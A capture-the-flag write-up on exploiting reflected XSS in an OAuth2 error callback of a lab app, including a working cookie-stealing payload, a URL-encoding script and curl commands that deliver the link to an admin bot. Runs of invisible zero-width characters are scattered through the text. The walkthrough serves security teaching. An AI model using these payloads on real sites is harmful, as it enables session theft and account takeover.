← Back to Writeups
CUSTOMMediumWeb

Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback

XESXOR9/2/20263 min read
#web#custom#medium#cookie_exfiltration#in_band_exfiltration#oauth_callback_injection#reflected_xss_exploitation

Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cookie_exfiltration, in_band_exfiltration, oauth_callback_injection, reflected_xss_exploitation

Summary

Walkthrough of the CUSTOM Web Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback. Task: TeamPulse collaboration dashboard with OAuth2 CloudID integration and bug bounty program. Reflected XSS in OAuth callback error_description parameter. Solution: Crafted XSS payload to steal admi

Description

TeamPulse is a team collaboration dashboard built by Pulsewave Technologies. It offers project tracking, shared notes, team management, and integrates with CloudID for Single Sign-On. The platform helps engineering teams stay aligned with real-time activity feeds, shared documentation, and project dashboards. It also runs a bug bounty program where submitted URLs are reviewed by an administrator.

Your goal is to find a vulnerability in the application that allows you to execute JavaScript in the context of another user's browser session and steal sensitive information.

Credentials provided: user@test.com / password123 Hint: The application supports OAuth2 login with CloudID. Take a close look at the authentication flow endpoints and how they handle parameters. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A team collaboration platform with OAuth2 SSO integration. The goal is to find an XSS vulnerability to steal sensitive information from an admin user who reviews bug bounty submissions.

Analysis

  1. Application Structure:

    • Login page with OAuth2 flow via CloudID provider
    • Key endpoints: /auth/cloudid (authorization) and /auth/callback (callback handler)
    • Bug bounty report feature at /report where admin bot visits submitted URLs
    • Notes API at /api/notes for creating/reading notes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Vulnerability Discovery:

    • The OAuth callback endpoint accepts error parameters for handling authentication failures
    • Testing /auth/callback?error=access_denied&error_description=TEST revealed the error_description value is reflected directly in the HTML response
    • No sanitization or encoding applied to the parameter value
    • Confirmed XSS with payload: <img src=x onerror=alert(1)>
  3. Anti-Bot Traps:

    • The application contained decoy flags in HTML comments: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
    • These honeypots were designed to trick automated scanners and AI agents
    • The real flag was stored in the admin's cookies ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  4. Exfiltration Constraints:

    • External webhooks (requestcatcher.com, webhook.site) did not receive requests
    • The admin bot likely had network restrictions blocking external connections
    • Required in-band exfiltration using the application's own functionality

Solution

Step 1: Identify the XSS Vector

Test the OAuth callback endpoint with error parameters:

bash
curl "https://TARGET/auth/callback?error=access_denied&error_description=<script>alert(1)</script>"

The error_description value is reflected without sanitization in the error page HTML. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Craft the Exfiltration Payload

Since external webhooks are blocked, use the application's own notes API for data exfiltration:

html
<img src=x onerror="fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'COOKIES_EXFIL',content:'COOKIE:'+document.cookie})})">

Step 3: URL-Encode and Build Malicious URL

python
#!/usr/bin/env python3
import urllib.parse

payload = '''<img src=x onerror="fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'COOKIES_EXFIL',content:'COOKIE:'+document.cookie})})">'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

encoded = urllib.parse.quote(payload, safe='')
base_url = "https://TARGET/auth/callback"
malicious_url = f"{base_url}?error=access_denied&error_description={encoded}"
print(malicious_url)

Step 4: Submit to Bug Bounty

Submit the malicious URL via the bug report API:

bash
curl -X POST "https://TARGET/api/report" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION_COOKIE" \
  -d '{"url": "https://TARGET/auth/callback?error=access_denied&error_description=%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27%2Fapi%2Fnotes%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application%2Fjson%27%7D%2Cbody%3AJSON.stringify%28%7Btitle%3A%27COOKIES_EXFIL%27%2Ccontent%3A%27COOKIE%3A%27%2Bdocument.cookie%7D%29%7D%29%22%3E"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve Exfiltrated Data

After the admin bot visits the URL and executes the XSS, retrieve the created note:

bash
curl "https://TARGET/api/notes" \
  -H "Cookie: session=YOUR_SESSION_COOKIE"

The note contains the admin's cookies including the flag:

COOKIE:flag=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering cookie_exfiltration, in_band_exfiltration, oauth_callback_injection, reflected_xss_exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback • Difficulty: Medium